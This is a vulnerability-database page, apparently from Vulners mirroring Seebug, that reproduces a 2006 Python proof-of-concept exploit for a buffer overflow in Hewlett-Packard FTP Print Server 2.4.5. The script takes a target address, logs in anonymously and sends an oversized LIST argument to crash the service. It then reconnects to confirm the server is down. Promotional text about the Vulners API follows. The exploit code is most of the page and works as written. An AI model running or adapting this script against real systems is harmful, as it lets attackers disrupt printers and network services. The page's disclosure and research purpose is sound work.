Lucene search
K

Hewlett-Packard FTP Print Server <= 2.4.5 Buffer Overflow (PoC)

🗓️ 20 Dec 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Hewlett-Packard FTP Print Server <= 2.4.5 Buffer Overflow (PoC) Python Scrip

Code

                                                #!/usr/bin/python

import sys
from ftplib import FTP

print &quot;Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow (POC)&quot;
print &quot;Copyright (c) Joxean Koret&quot;
print

if len(sys.argv) == 1:
    print &quot;Usage: %s &lt;target&gt;&quot; % sys.argv[0]
    sys.exit(0)

target = sys.argv[1]

print &quot;[+] Running attack against &quot; + target

try:
    ftp = FTP(target)
except:
    print &quot;[!] Can't connect to target&quot;, target, &quot;.&quot;, sys.exc_info()[1]
    sys.exit(0)
try:
    msg = ftp.login() # Login anonymously
    print msg
except:
    print &quot;[!] Error logging anonymously.&quot;,sys.exc_info()[1]
    sys.exit(0)

buf = &quot;./A&quot;
iMax = 9

for i in range(iMax):
    buf += buf

print &quot;[+] Sending buffer of&quot;,len(buf[0:3000]),&quot;byte(s) ... &quot;

try:
    print &quot;[+] Please, note that sometimes your connection will not be dropped. &quot;
    ftp.retrlines(&quot;LIST &quot; + buf[0:3000])
    print &quot;[!] Exploit doesn't work :(&quot;
    print
    sys.exit(0)
except:
    print &quot;[+] Apparently exploit works. Verifying ... &quot;
    print sys.exc_info()[1]

ftp2 = FTP(target)

try:
    msg = ftp2.login()
    print &quot;[!] No, it doesn't work :( &quot;
    print
    print msg
    sys.exit(0)
except:
    print &quot;[+] Yes, it works.&quot;
    print sys.exc_info()[1]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Dec 2006 00:00Current
7.1High risk
Vulners AI Score7.1
21